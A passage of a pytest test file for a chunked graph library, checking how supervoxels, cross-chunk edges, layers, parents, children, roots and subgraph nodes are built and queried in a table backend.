to_label(cgraph, 1, 0, 0, 0, 0) # Check for the Level 1 CG supervoxel: # to_label(cgraph, 1, 0, 0, 0, 0) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 0)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 0, 0, 0, 0)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 0 assert len(atomic_affinities) == 0 assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 0, 0, 0, 1) # Check for the one Level 2 node that should have been created. # to_label(cgraph, 2, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 2, 0, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) for aces in atomic_cross_edge_dict.values(): assert len(aces) == 0 assert len(children) == 1 and children[0] == to_label(cgraph, 1, 0, 0, 0, 0) # Make sure there are not any more entries in the table assert len(res.rows) == 1 + 1 + 1 + 1 @pytest.mark.timeout(30) def test_build_single_edge(self, gen_graph): """ Create graph with edge between RG supervoxels 1 and 2 (same chunk) ┌─────┐ │ A¹ │ │ 1━2 │ │ │ └─────┘ """ cgraph = gen_graph(n_layers=2) # Add Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5)]) res = cgraph.table.read_rows() res.consume_all() # Check for the two RG-to-CG mappings: # assert chunkedgraph.serialize_uint64(1) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(1)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 0, 0, 0, 0) # assert chunkedgraph.serialize_uint64(2) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(2)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 0, 0, 0, 1) # Check for the two original Level 1 CG supervoxels # to_label(cgraph, 1, 0, 0, 0, 0) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 0)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 0, 0, 0, 0)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 1 and atomic_partners[0] == to_label(cgraph, 1, 0, 0, 0, 1) assert len(atomic_affinities) == 1 and atomic_affinities[0] == 0.5 assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 0, 0, 0, 1) # to_label(cgraph, 1, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 1)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 0, 0, 0, 1)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 1 and atomic_partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) assert len(atomic_affinities) == 1 and atomic_affinities[0] == 0.5 assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 0, 0, 0, 1) # Check for the one Level 2 node that should have been created. assert serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 2, 0, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) for aces in atomic_cross_edge_dict.values(): assert len(aces) == 0 assert len(children) == 2 and to_label(cgraph, 1, 0, 0, 0, 0) in children and to_label(cgraph, 1, 0, 0, 0, 1) in children # Make sure there are not any more entries in the table assert len(res.rows) == 2 + 1 + 1 + 1 @pytest.mark.timeout(30) def test_build_single_across_edge(self, gen_graph): """ Create graph with edge between RG supervoxels 1 and 2 (neighboring chunks) ┌─────┌─────┐ │ A¹ │ B¹ │ │ 1━━┿━━2 │ │ │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf)]) # Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]])) res = cgraph.table.read_rows() res.consume_all() # Check for the two RG-to-CG mappings: # assert chunkedgraph.serialize_uint64(1) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(1)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 0, 0, 0, 0) # assert chunkedgraph.serialize_uint64(2) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(2)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 1, 0, 0, 0) # Check for the two original Level 1 CG supervoxels # to_label(cgraph, 1, 0, 0, 0, 0) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 0)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 0, 0, 0, 0)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] cgraph.logger.debug(atomic_node_info.keys()) parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 1 and atomic_partners[0] == to_label(cgraph, 1, 1, 0, 0, 0) assert len(atomic_affinities) == 1 and atomic_affinities[0] == inf assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 0, 0, 0, 1) # to_label(cgraph, 1, 1, 0, 0, 0) assert serializers.serialize_uint64(to_label(cgraph, 1, 1, 0, 0, 0)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 1, 0, 0, 0)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 1 and atomic_partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) assert len(atomic_affinities) == 1 and atomic_affinities[0] == inf assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 1, 0, 0, 1) # Check for the two Level 2 nodes that should have been created. Since Level 2 has the same # dimensions as Level 1, we also expect them to be in different chunks # to_label(cgraph, 2, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 2, 0, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) test_ace = np.array([to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0)], dtype=np.uint64) assert len(atomic_cross_edge_dict[2]) == 1 assert test_ace in atomic_cross_edge_dict[2] assert len(children) == 1 and to_label(cgraph, 1, 0, 0, 0, 0) in children # to_label(cgraph, 2, 1, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 2, 1, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 2, 1, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 2, 1, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) test_ace = np.array([to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0)], dtype=np.uint64) assert len(atomic_cross_edge_dict[2]) == 1 assert test_ace in atomic_cross_edge_dict[2] assert len(children) == 1 and to_label(cgraph, 1, 1, 0, 0, 0) in children # Check for the one Level 3 node that should have been created. This one combines the two # connected components of Level 2 # to_label(cgraph, 3, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 3, 0, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 3, 0, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 3, 0, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) for aces in atomic_cross_edge_dict.values(): assert len(aces) == 0 assert len(children) == 2 and to_label(cgraph, 2, 0, 0, 0, 1) in children and to_label(cgraph, 2, 1, 0, 0, 1) in children # Make sure there are not any more entries in the table assert len(res.rows) == 2 + 2 + 1 + 3 + 1 @pytest.mark.timeout(30) def test_build_single_edge_and_single_across_edge(self, gen_graph): """ Create graph with edge between RG supervoxels 1 and 2 (same chunk) and edge between RG supervoxels 1 and 3 (neighboring chunks) ┌─────┬─────┐ │ A¹ │ B¹ │ │ 2━1━┿━━3 │ │ │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=3) # Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1)], edges=[(to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 1), 0.5), (to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0), inf)]) # Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 0)], edges=[(to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0), inf)]) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]])) res = cgraph.table.read_rows() res.consume_all() # Check for the three RG-to-CG mappings: # assert chunkedgraph.serialize_uint64(1) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(1)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 0, 0, 0, 0) # assert chunkedgraph.serialize_uint64(2) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(2)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 0, 0, 0, 1) # assert chunkedgraph.serialize_uint64(3) in res.rows # row = res.rows[chunkedgraph.serialize_uint64(3)].cells[cgraph.family_id] # assert np.frombuffer(row[b'cg_id'][0].value, np.uint64)[0] == to_label(cgraph, 1, 1, 0, 0, 0) # Check for the three original Level 1 CG supervoxels # to_label(cgraph, 1, 0, 0, 0, 0) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 0)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 0, 0, 0, 0)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 2 and to_label(cgraph, 1, 0, 0, 0, 1) in atomic_partners and to_label(cgraph, 1, 1, 0, 0, 0) in atomic_partners assert len(atomic_affinities) == 2 if atomic_partners[0] == to_label(cgraph, 1, 0, 0, 0, 1): assert atomic_affinities[0] == 0.5 and atomic_affinities[1] == inf else: assert atomic_affinities[0] == inf and atomic_affinities[1] == 0.5 assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 0, 0, 0, 1) # to_label(cgraph, 1, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 1)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 0, 0, 0, 1)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 1 and atomic_partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) assert len(atomic_affinities) == 1 and atomic_affinities[0] == 0.5 assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 0, 0, 0, 1) # to_label(cgraph, 1, 1, 0, 0, 0) assert serializers.serialize_uint64(to_label(cgraph, 1, 1, 0, 0, 0)) in res.rows atomic_node_info = cgraph.get_atomic_node_info(to_label(cgraph, 1, 1, 0, 0, 0)) atomic_affinities = atomic_node_info[column_keys.Connectivity.Affinity] atomic_partners = atomic_node_info[column_keys.Connectivity.Partner] parents = atomic_node_info[column_keys.Hierarchy.Parent] assert len(atomic_partners) == 1 and atomic_partners[0] == to_label(cgraph, 1, 0, 0, 0, 0) assert len(atomic_affinities) == 1 and atomic_affinities[0] == inf assert len(parents) == 1 and parents[0] == to_label(cgraph, 2, 1, 0, 0, 1) # Check for the two Level 2 nodes that should have been created. Since Level 2 has the same # dimensions as Level 1, we also expect them to be in different chunks # to_label(cgraph, 2, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 2, 0, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 2, 0, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) test_ace = np.array([to_label(cgraph, 1, 0, 0, 0, 0), to_label(cgraph, 1, 1, 0, 0, 0)], dtype=np.uint64) assert len(atomic_cross_edge_dict[2]) == 1 assert test_ace in atomic_cross_edge_dict[2] assert len(children) == 2 and to_label(cgraph, 1, 0, 0, 0, 0) in children and to_label(cgraph, 1, 0, 0, 0, 1) in children # to_label(cgraph, 2, 1, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 2, 1, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 2, 1, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 2, 1, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) test_ace = np.array([to_label(cgraph, 1, 1, 0, 0, 0), to_label(cgraph, 1, 0, 0, 0, 0)], dtype=np.uint64) assert len(atomic_cross_edge_dict[2]) == 1 assert test_ace in atomic_cross_edge_dict[2] assert len(children) == 1 and to_label(cgraph, 1, 1, 0, 0, 0) in children # Check for the one Level 3 node that should have been created. This one combines the two # connected components of Level 2 # to_label(cgraph, 3, 0, 0, 0, 1) assert serializers.serialize_uint64(to_label(cgraph, 3, 0, 0, 0, 1)) in res.rows row = res.rows[serializers.serialize_uint64(to_label(cgraph, 3, 0, 0, 0, 1))].cells[cgraph.family_id] atomic_cross_edge_dict = cgraph.get_atomic_cross_edge_dict(to_label(cgraph, 3, 0, 0, 0, 1)) column = column_keys.Hierarchy.Child children = column.deserialize(row[column.key][0].value) for ace in atomic_cross_edge_dict.values(): assert len(ace) == 0 assert len(children) == 2 and to_label(cgraph, 2, 0, 0, 0, 1) in children and to_label(cgraph, 2, 1, 0, 0, 1) in children # Make sure there are not any more entries in the table assert len(res.rows) == 3 + 2 + 1 + 3 + 1 @pytest.mark.timeout(30) def test_build_big_graph(self, gen_graph): """ Create graph with RG nodes 1 and 2 in opposite corners of the largest possible dataset ┌─────┐ ┌─────┐ │ A¹ │ ... │ Z¹ │ │ 1 │ │ 2 │ │ │ │ │ └─────┘ └─────┘ """ cgraph = gen_graph(n_layers=10) # Preparation: Build Chunk A create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 0)], edges=[]) # Preparation: Build Chunk Z create_chunk(cgraph, vertices=[to_label(cgraph, 1, 255, 255, 255, 0)], edges=[]) cgraph.add_layer(3, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(3, np.array([[0xFF, 0xFF, 0xFF]])) cgraph.add_layer(4, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(4, np.array([[0x7F, 0x7F, 0x7F]])) cgraph.add_layer(5, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(5, np.array([[0x3F, 0x3F, 0x3F]])) cgraph.add_layer(6, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(6, np.array([[0x1F, 0x1F, 0x1F]])) cgraph.add_layer(7, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(7, np.array([[0x0F, 0x0F, 0x0F]])) cgraph.add_layer(8, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(8, np.array([[0x07, 0x07, 0x07]])) cgraph.add_layer(9, np.array([[0x00, 0x00, 0x00]])) cgraph.add_layer(9, np.array([[0x03, 0x03, 0x03]])) cgraph.add_layer(10, np.array([[0x00, 0x00, 0x00], [0x01, 0x01, 0x01]])) res = cgraph.table.read_rows() res.consume_all() # cgraph.logger.debug(len(res.rows)) # for row_key in res.rows.keys(): # cgraph.logger.debug(row_key) # cgraph.logger.debug(cgraph.get_chunk_layer(chunkedgraph.deserialize_uint64(row_key))) # cgraph.logger.debug(cgraph.get_chunk_coordinates(chunkedgraph.deserialize_uint64(row_key))) assert serializers.serialize_uint64(to_label(cgraph, 1, 0, 0, 0, 0)) in res.rows assert serializers.serialize_uint64(to_label(cgraph, 1, 255, 255, 255, 0)) in res.rows assert serializers.serialize_uint64(to_label(cgraph, 10, 0, 0, 0, 1)) in res.rows assert serializers.serialize_uint64(to_label(cgraph, 10, 0, 0, 0, 2)) in res.rows @pytest.mark.timeout(30) def test_double_chunk_creation(self, gen_graph): """ No connection between 1, 2 and 3 ┌─────┬─────┐ │ A¹ │ B¹ │ │ 1 │ 3 │ │ 2 │ │ └─────┴─────┘ """ cgraph = gen_graph(n_layers=4) # Preparation: Build Chunk A fake_timestamp = datetime.utcnow() - timedelta(days=10) create_chunk(cgraph, vertices=[to_label(cgraph, 1, 0, 0, 0, 1), to_label(cgraph, 1, 0, 0, 0, 2)], edges=[], timestamp=fake_timestamp) # Preparation: Build Chunk B create_chunk(cgraph, vertices=[to_label(cgraph, 1, 1, 0, 0, 1)], edges=[], timestamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(3, np.array([[0, 0, 0], [1, 0, 0]]), time_stamp=fake_timestamp) cgraph.add_layer(4, np.array([[0, 0, 0]]), time_stamp=fake_timestamp) assert len(cgraph.range_read_chunk(layer=3, x=0, y=0, z=0)) == 6 assert len(cgraph.range_read_chunk(layer=4, x=0, y=0, z=0)) == 3 assert cgraph.get_chunk_layer(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1))) == 4 assert cgraph.get_chunk_layer(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 2))) == 4 assert cgraph.get_chunk_layer(cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1))) == 4 lvl_3_child_ids = [cgraph.get_segment_id(cgraph.read_node_id_row(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 1)), column_keys.Hierarchy.Child)[0].value), cgraph.get_segment_id(cgraph.read_node_id_row(cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 2)), column_keys.Hierarchy.Child)[0].value), cgraph.get_segment_id(cgraph.read_node_id_row(cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1)), column_keys.Hierarchy.Child)[0].value)] assert 4 in lvl_3_child_ids assert 5 in lvl_3_child_ids assert 6 in lvl_3_child_ids class TestGraphSimpleQueries: """ ┌─────┬─────┬─────┐ L X Y Z S L X Y Z S L X Y Z S L X Y Z S │ A¹ │ B¹ │ C¹ │ 1: 1 0 0 0 0 ─── 2 0 0 0 1 ─── 3 0 0 0 1 ─── 4 0 0 0 1 │ 1 │ 3━2━┿━━4 │ 2: 1 1 0 0 0 ─┬─ 2 1 0 0 1 ─── 3 0 0 0 2 ─┬─ 4 0 0 0 2 │ │ │ │ 3: 1 1 0 0 1 ─┘ │ └─────┴─────┴─────┘ 4: 1 2 0 0 0 ─── 2 2 0 0 1 ─── 3 1 0 0 1 ─┘ """ @pytest.mark.timeout(30) def test_get_parent_and_children(self, gen_graph_simplequerytest): cgraph = gen_graph_simplequerytest children10000 = cgraph.get_children(to_label(cgraph, 1, 0, 0, 0, 0)) children11000 = cgraph.get_children(to_label(cgraph, 1, 1, 0, 0, 0)) children11001 = cgraph.get_children(to_label(cgraph, 1, 1, 0, 0, 1)) children12000 = cgraph.get_children(to_label(cgraph, 1, 2, 0, 0, 0)) parent10000 = cgraph.get_parent(to_label(cgraph, 1, 0, 0, 0, 0), get_only_relevant_parent=True, time_stamp=None) parent11000 = cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 0), get_only_relevant_parent=True, time_stamp=None) parent11001 = cgraph.get_parent(to_label(cgraph, 1, 1, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) parent12000 = cgraph.get_parent(to_label(cgraph, 1, 2, 0, 0, 0), get_only_relevant_parent=True, time_stamp=None) children20001 = cgraph.get_children(to_label(cgraph, 2, 0, 0, 0, 1)) children21001 = cgraph.get_children(to_label(cgraph, 2, 1, 0, 0, 1)) children22001 = cgraph.get_children(to_label(cgraph, 2, 2, 0, 0, 1)) parent20001 = cgraph.get_parent(to_label(cgraph, 2, 0, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) parent21001 = cgraph.get_parent(to_label(cgraph, 2, 1, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) parent22001 = cgraph.get_parent(to_label(cgraph, 2, 2, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) children30001 = cgraph.get_children(to_label(cgraph, 3, 0, 0, 0, 1)) children30002 = cgraph.get_children(to_label(cgraph, 3, 0, 0, 0, 2)) children31001 = cgraph.get_children(to_label(cgraph, 3, 1, 0, 0, 1)) parent30001 = cgraph.get_parent(to_label(cgraph, 3, 0, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) parent30002 = cgraph.get_parent(to_label(cgraph, 3, 0, 0, 0, 2), get_only_relevant_parent=True, time_stamp=None) parent31001 = cgraph.get_parent(to_label(cgraph, 3, 1, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) children40001 = cgraph.get_children(to_label(cgraph, 4, 0, 0, 0, 1)) children40002 = cgraph.get_children(to_label(cgraph, 4, 0, 0, 0, 2)) parent40001 = cgraph.get_parent(to_label(cgraph, 4, 0, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) parent40002 = cgraph.get_parent(to_label(cgraph, 4, 0, 0, 0, 2), get_only_relevant_parent=True, time_stamp=None) # (non-existing) Children of L1 assert np.array_equal(children10000, []) is True assert np.array_equal(children11000, []) is True assert np.array_equal(children11001, []) is True assert np.array_equal(children12000, []) is True # Parent of L1 assert parent10000 == to_label(cgraph, 2, 0, 0, 0, 1) assert parent11000 == to_label(cgraph, 2, 1, 0, 0, 1) assert parent11001 == to_label(cgraph, 2, 1, 0, 0, 1) assert parent12000 == to_label(cgraph, 2, 2, 0, 0, 1) # Children of L2 assert len(children20001) == 1 and to_label(cgraph, 1, 0, 0, 0, 0) in children20001 assert len(children21001) == 2 and to_label(cgraph, 1, 1, 0, 0, 0) in children21001 and to_label(cgraph, 1, 1, 0, 0, 1) in children21001 assert len(children22001) == 1 and to_label(cgraph, 1, 2, 0, 0, 0) in children22001 # Parent of L2 assert parent20001 == to_label(cgraph, 3, 0, 0, 0, 1) and parent21001 == to_label(cgraph, 3, 0, 0, 0, 2) or \ parent20001 == to_label(cgraph, 3, 0, 0, 0, 2) and parent21001 == to_label(cgraph, 3, 0, 0, 0, 1) assert parent22001 == to_label(cgraph, 3, 1, 0, 0, 1) # Children of L3 assert len(children30001) == 1 and len(children30002) == 1 and len(children31001) == 1 assert to_label(cgraph, 2, 0, 0, 0, 1) in children30001 and to_label(cgraph, 2, 1, 0, 0, 1) in children30002 or \ to_label(cgraph, 2, 0, 0, 0, 1) in children30002 and to_label(cgraph, 2, 1, 0, 0, 1) in children30001 assert to_label(cgraph, 2, 2, 0, 0, 1) in children31001 # Parent of L3 assert parent30001 == parent31001 or parent30002 == parent31001 assert (parent30001 == to_label(cgraph, 4, 0, 0, 0, 1) and parent30002 == to_label(cgraph, 4, 0, 0, 0, 2)) or \ (parent30001 == to_label(cgraph, 4, 0, 0, 0, 2) and parent30002 == to_label(cgraph, 4, 0, 0, 0, 1)) # Children of L4 if len(children40001) == 1: assert parent20001 in children40001 assert len(children40002) == 2 and parent21001 in children40002 and parent22001 in children40002 elif len(children40001) == 2: assert parent21001 in children40001 and parent22001 in children40001 assert len(children40002) == 1 and parent20001 in children40002 # (non-existing) Parent of L4 assert parent40001 is None assert parent40002 is None # # Children of (non-existing) L5 # with pytest.raises(IndexError): # cgraph.get_children(to_label(cgraph, 5, 0, 0, 0, 1)) # # Parent of (non-existing) L5 # with pytest.raises(IndexError): # cgraph.get_parent(to_label(cgraph, 5, 0, 0, 0, 1), get_only_relevant_parent=True, time_stamp=None) children2_separate = cgraph.get_children([to_label(cgraph, 2, 0, 0, 0, 1), to_label(cgraph, 2, 1, 0, 0, 1), to_label(cgraph, 2, 2, 0, 0, 1)]) assert len(children2_separate) == 3 assert to_label(cgraph, 2, 0, 0, 0, 1) in children2_separate and \ np.all(np.isin(children2_separate[to_label(cgraph, 2, 0, 0, 0, 1)], children20001)) assert to_label(cgraph, 2, 1, 0, 0, 1) in children2_separate and \ np.all(np.isin(children2_separate[to_label(cgraph, 2, 1, 0, 0, 1)], children21001)) assert to_label(cgraph, 2, 2, 0, 0, 1) in children2_separate and \ np.all(np.isin(children2_separate[to_label(cgraph, 2, 2, 0, 0, 1)], children22001)) children2_combined = cgraph.get_children([to_label(cgraph, 2, 0, 0, 0, 1), to_label(cgraph, 2, 1, 0, 0, 1), to_label(cgraph, 2, 2, 0, 0, 1)], flatten=True) assert len(children2_combined) == 4 and \ np.all(np.isin(children20001, children2_combined)) and \ np.all(np.isin(children21001, children2_combined)) and \ np.all(np.isin(children22001, children2_combined)) @pytest.mark.timeout(30) def test_get_root(self, gen_graph_simplequerytest): cgraph = gen_graph_simplequerytest root10000 = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0), time_stamp=None) root11000 = cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0), time_stamp=None) root11001 = cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 1), time_stamp=None) root12000 = cgraph.get_root(to_label(cgraph, 1, 2, 0, 0, 0), time_stamp=None) with pytest.raises(Exception) as e: cgraph.get_root(0) assert (root10000 == to_label(cgraph, 4, 0, 0, 0, 1) and root11000 == root11001 == root12000 == to_label( cgraph, 4, 0, 0, 0, 2)) or \ (root10000 == to_label(cgraph, 4, 0, 0, 0, 2) and root11000 == root11001 == root12000 == to_label( cgraph, 4, 0, 0, 0, 1)) @pytest.mark.timeout(30) def test_get_subgraph_nodes(self, gen_graph_simplequerytest): cgraph = gen_graph_simplequerytest root1 = cgraph.get_root(to_label(cgraph, 1, 0, 0, 0, 0)) root2 = cgraph.get_root(to_label(cgraph, 1, 1, 0, 0, 0)) lvl1_nodes_1 = cgraph.get_subgraph_nodes(root1) lvl1_nodes_2 = cgraph.get_subgraph_nodes(root2) assert len(lvl1_nodes_1) == 1 assert len(lvl1_nodes_2) == 3 assert to_label(cgraph, 1, 0, 0, 0, 0) in lvl1_nodes_1 assert to_label(cgraph, 1, 1, 0, 0, 0) in lvl1_nodes_2 assert to_label(cgraph, 1, 1, 0, 0, 1) in lvl1_nodes_2 assert to_label(cgraph, 1, 2, 0, 0, 0) in lvl1_nodes_2 lvl2_nodes_1 = cgraph.get_subgraph_nodes(root1, return_layers=[2]) lvl2_nodes_2 = cgraph.get_subgraph_nodes(root2, return_layers=[2]) assert len(lvl2_nodes_1) == 1 assert len(lvl2_nodes_2) == 2 assert to_label(cgraph, 2, 0, 0, 0, 1) in lvl2_nodes_1 assert to_label(cgraph, 2, 1, 0, 0, 1) in lvl2_nodes_2 assert to_label(cgraph, 2, 2, 0, 0, 1) in lvl2_nodes_2 lvl3_nodes_1 = cgraph.get_subgraph_nodes(root1, return_layers=[3]) lvl3_nodes_2 = cgraph.get_subgraph_nodes(root2, return_layers=[3]) assert len(lvl3_nodes_1) == 1 assert len(lvl3_nodes_2) == 2 assert to_label(cgraph, 3, 0, 0, 0, 1) in lvl3_nodes_1 assert to_label(cgraph, 3, 0, 0, 0, 2) in lvl3_nodes_2 assert to_label(cgraph, 3, 1, 0, 0, 1) in lvl3_nodes_2 lvl4_node = cgraph.get_subgraph_nodes(root1, return_layers=[4]) assert len(lvl4_node) == 1 assert root1 in lvl4_node layers = cgraph.get_subgraph_nodes(root2, return_layers=[1, 4]) assert len(layers) == 2 and 1 in layers and 4 in layers assert len(layers[4]) == 1 and root2 in layers[4] assert len(layers[1]) == 3 assert to_label(cgraph, 1, 1, 0, 0, 0) in layers[1] assert to_label(cgraph, 1, 1, 0, 0, 1) in layers[1] assert to_label(cgraph, 1, 2, 0, 0, 0) in layers[1] lvl2_nodes = 